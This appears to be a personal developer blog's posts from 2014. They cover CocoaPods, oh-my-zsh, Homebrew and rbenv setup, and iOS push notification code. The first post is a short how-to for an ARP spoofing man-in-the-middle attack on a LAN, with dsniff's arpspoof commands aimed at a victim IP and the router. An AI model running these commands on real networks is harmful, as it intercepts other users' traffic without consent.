2014年9月25日 星期四

Mac OS X ARP Spoofing

It`s a Man in the Middle Attack in WLAN or LAN uring ARP Spoofing.

Step 1.
$ Install macport

Step 2.
$ sudo port selfupdate

Stop 3.
$ sudo port install dsniff-devel   (or dsniff)

Step 4.
And find victim ip
$ arp -a

Step 5.
Open net forwarding,it will forward packets which recive to Internet Connection.
$ sudo sysctl -w net.inet.ip.forwarding=1
$ sudo sysctl -w net.inet.ip.fw.enable=1

Step 6.
Arpspoof Router
$ sudo arpspoof -i Yourineterface -t victim_ip router_ip
$ sudo arpspoof -i Yourineterface -t router_ip victim_ip

Example.
$ sudo arpspoof -i en0 -t 192.168.1.100 192.168.1.1
$ sudo arpspoof -i en0 -t 192.168.1.1 192.168.1.100

it`s done!!
Stop the Attack,using Ctrl+C in the terminal.



2014年9月20日 星期六

Ios Xcode Plugins CocoaPods

Install Cocoapods
$ sudo gem install cocoapods

Open New Xcode Project
$ cd project_folder
$ vi Podfile

Insert Podfile
platform :ios, '8.0'
pod 'JSONKit'

$ pod install
$ open Project.xcworkspace

Import example:
#import <JSONKit.h>

OS X Install oh-my-zsh

Install zsh
$ brew install zsh

Set shell
$ chsh -s /usr/local/bin/zsh

Install oh-my-zsh
$ git clone git://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh

Set oh-my-zsh
$ cp ~/.oh-my-zsh/templates/zshrc.zsh-tmplate ~/.zshrc
$ cat ~/.bash_profile >> ~/.zshrc

Install zsh-completions
$ brew install zsh-completions

Set zsh-completions
echo 'if [ -d ${HOME}/.zsh/zsh-completions/src ] ; then' >> ~/.zshrc
echo '   fpath=(${HOME}/.zsh/zsh-completions/src $fpath)' >> ~/.zshrc
echo '   compinit' >> ~/.zshrc

echo fi >> ~/.zshrc

Mac OSX Set shell Preference
shell->Preference->Shells open with->Command(complete path)
/bin/zsh -i

Open zsh

Rebuild zsh
$ rm -f ~/.zcompdump; compinit

OSX Install Homebrew & Rbenv & Cocoapods

Step 1.
Install Homebrew

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Step 2.
Install Rbenv
$ brew install rbenv
$ brew install ruby-build
Set shell Environment
$ sudo echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> /Users/Username/.bash_profile
$ echo 'eval "$(rbenv init -)"' >> /Users/Username/.bash_profile
Reload
$ source /Users/Username/.bash_profile 

Rbenv install plugin
$ mkdir -p ~/.rbenv/plugins 
$ git clone git://github.com/tpope/rbenv-aliases.git ~/.rbenv/plugins/rbenv-aliases
$ rbenv alisa 

Install Ruby
List Ruby version 
$ rbenv install --list
$ rbenv install 2.1.3
List Installed Ruby Version
$ rbenv versions
$ rbenv global 2.1.3

Step 3.
Install Cocoapods
$ sudo gem install cocoapods

2014年9月18日 星期四

iOS Push Notifition Note

For Debug
-(void)application:(UIApplication *)application didFailToRegisterForRemoteNotificationsWithError:(NSError *)error{
    NSLog(@"%@",error);

}

For Receiver
- (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo {

}

For Receiver By Launching
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
NSDictionary* userInfo =
    [launchOptions objectForKey:UIApplicationLaunchOptionsRemoteNotificationKey];
    if (userInfo) {
         
     }
}

For Register to Server
- (void)application:(UIApplication *)application didRegisterForRemoteNotificationsWithDeviceToken:(NSData *)deviceToken {
 NSString *deviceTokenString = [NSString stringWithFormat:@"%@", deviceToken];
    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@"<" withString:@""];
    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@">" withString:@""];
    deviceTokenString = [deviceTokenString stringByReplacingOccurrencesOfString:@" " withString:@""];

//Resgister to Server

}

//Set Notification

if ([[[UIDevice currentDevice] systemVersion] floatValue] >= 8.0)
{
    [[UIApplication sharedApplication] registerUserNotificationSettings:[UIUserNotificationSettings 
     settingsForTypes:(UIUserNotificationTypeSound | UIUserNotificationTypeAlert | UIUserNotificationTypeBadge)      
categories:nil]];
    [[UIApplication sharedApplication] registerForRemoteNotifications];
}
else
{
    [[UIApplication sharedApplication] registerForRemoteNotificationTypes:
     (UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert)];

}

判斷 APP 是否有在背景運作
if([[UIApplication sharedApplication] applicationState] != UIApplicationStateBackground) {
  // Do stuff  
}

The Notificaion Payload Block
{
   "aps": {
        "alert": "Hello World.",
        "badge": 9,
        "sound": "default"
    },
    "custom_key": "custom_value"
}


2014年9月16日 星期二

iOS 8 Simulator NSUserDefaults Path


[NSUserDefaults standardUserDefaults]
Plist Path
~/Library/Developer/CoreSimulator/Devices/<Unique Simulator ID>/data/Library/Preferences